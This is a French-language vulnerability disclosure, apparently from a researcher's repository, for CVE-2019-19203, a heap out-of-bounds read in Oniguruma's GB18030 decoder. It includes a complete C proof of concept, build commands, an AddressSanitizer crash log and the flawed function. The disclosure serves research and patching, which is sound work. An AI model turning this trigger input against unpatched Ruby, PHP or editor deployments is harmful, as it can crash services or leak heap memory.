manhndd/cve-2019-19203Débordement de tampon du tas dans Oniguruma (fonction gb18030_mbc_enc_len)
Un problème a été découvert dans Oniguruma 6.x avant 6.9.4_rc2. Dans la fonction gb18030_mbc_enc_len du fichier gb18030.c, un pointeur UChar est déréférencé sans vérifier s'il a dépassé la fin de la chaîne correspondante. Cela entraîne une lecture hors limites du tas.
Chercheur : ManhND de The Tarantula Team, VinCSS (membre de Vingroup)
Oniguruma par K. Kosako est une bibliothèque d'expressions régulières sous licence BSD qui prend en charge une variété d'encodages de caractères. Le langage de programmation Ruby, dans sa version 1.9, ainsi que le module de chaînes multi-octets de PHP (depuis PHP5), utilisent Oniguruma comme moteur d'expressions régulières. Il est également utilisé dans des produits tels qu'Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text et SubEthaEdit.
Code source :
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"
static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
int r;
unsigned char *start, *range;
OnigRegion *region;
region = onig_region_new();
start = str;
range = end;
r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
if (r >= 0 ) {
int i;
fprintf(stdout, "match at %d (%s)\n", r,
ONIGENC_NAME(onig_get_encoding(reg)));
for (i = 0; i < region->num_regs; i++) {
fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
}
}
else if (r == ONIG_MISMATCH) {
fprintf(stdout, "search fail (%s)\n",
ONIGENC_NAME(onig_get_encoding(reg)));
}
else { /* error */
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r);
fprintf(stdout, "ERROR: %s\n", s);
fprintf(stdout, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return -1;
}
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return 0;
}
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = (char*)malloc(6);
memcpy(pattern, "[\\W]\\w", 6);
char *pattern_end = pattern + 6;
OnigEncodingType *enc = ONIG_ENCODING_GB18030;
char* str = (char*)malloc(2);
memcpy(str, "\xe1\xe1", 2);
char* str_end = str+2;
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_NONE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
if (r != ONIG_NORMAL) {
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r, &einfo);
fprintf(stdout, "ERROR: %s\n", s);
onig_end();
if (r == ONIGERR_PARSER_BUG ||
r == ONIGERR_STACK_BUG ||
r == ONIGERR_UNDEFINED_BYTECODE ||
r == ONIGERR_UNEXPECTED_BYTECODE) {
return -2;
}
else
return -1;
}
if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
r = search(reg, str, str_end);
} else {
fprintf(stdout, "Invalid string\n");
}
onig_free(reg);
onig_end();
return 0;
}
Compilation d'Oniguruma et du PoC :
./configure CC=gcc CFLAGS="-O0 -ggdb3 -fsanitize=address" LDFLAGS="-O0 -ggdb3 -fsanitize=address" && make -j4
gcc -fsanitize=address -O0 -I./oniguruma-gcc-asan/src -ggdb3 poc-gb18030_mbc_enc_len.c ./oniguruma-gcc-asan/src/.libs/libonig.a -o PoC
Journal de plantage :
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC
=================================================================
==5543==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd2 at pc 0x000000487a3c bp 0x7ffe87bb1ea0 sp 0x7ffe87bb1e90
READ of size 1 at 0x60200000efd2 thread T0
#0 0x487a3b in gb18030_mbc_enc_len /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:72
#1 0x47bedd in onigenc_mbn_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:774
#2 0x487d37 in gb18030_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:121
#3 0x45eadc in match_at /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:3271
#4 0x4743bc in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:5382
#5 0x4732b3 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regexec.c:5168
#6 0x401228 in search /root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len.c:17
#7 0x401918 in main /root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len.c:80
#8 0x7fed5c75c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#9 0x401048 in _start (/root/fuzz/fuzz_oniguruma/PoC+0x401048)
0x60200000efd2 is located 0 bytes to the right of 2-byte region [0x60200000efd0,0x60200000efd2)
allocated by thread T0 here:
#0 0x7fed5cb9e602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x401793 in main /root/fuzz/fuzz_oniguruma/poc-gb18030_mbc_enc_len.c:56
#2 0x7fed5c75c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/gb18030.c:72 gb18030_mbc_enc_len
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 04 fa
0x0c047fff9dc0: fa fa 00 00 fa fa 00 04 fa fa 00 00 fa fa 06 fa
0x0c047fff9dd0: fa fa 00 00 fa fa 06 fa fa fa 00 00 fa fa 04 fa
0x0c047fff9de0: fa fa 00 00 fa fa 00 01 fa fa 00 00 fa fa 00 00
=>0x0c047fff9df0: fa fa 05 fa fa fa 00 00 fa fa[02]fa fa fa 06 fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==5543==ABORTING
Version du code source référencée : ca7ddbd858dcdc8322d619cf41ab125a2603a0d4 Dans gb18030_mbc_enc_len, p++ puis p est déréférencé sans vérifier s'il dépasse la fin de la chaîne UChar, ce qui conduit à une lecture hors limites du tas.
static int
gb18030_mbc_enc_len(const UChar* p)
{
if (GB18030_MAP[*p] != CM)
return 1;
p++;
if (GB18030_MAP[*p] == C4)
return 4;
return 2;
}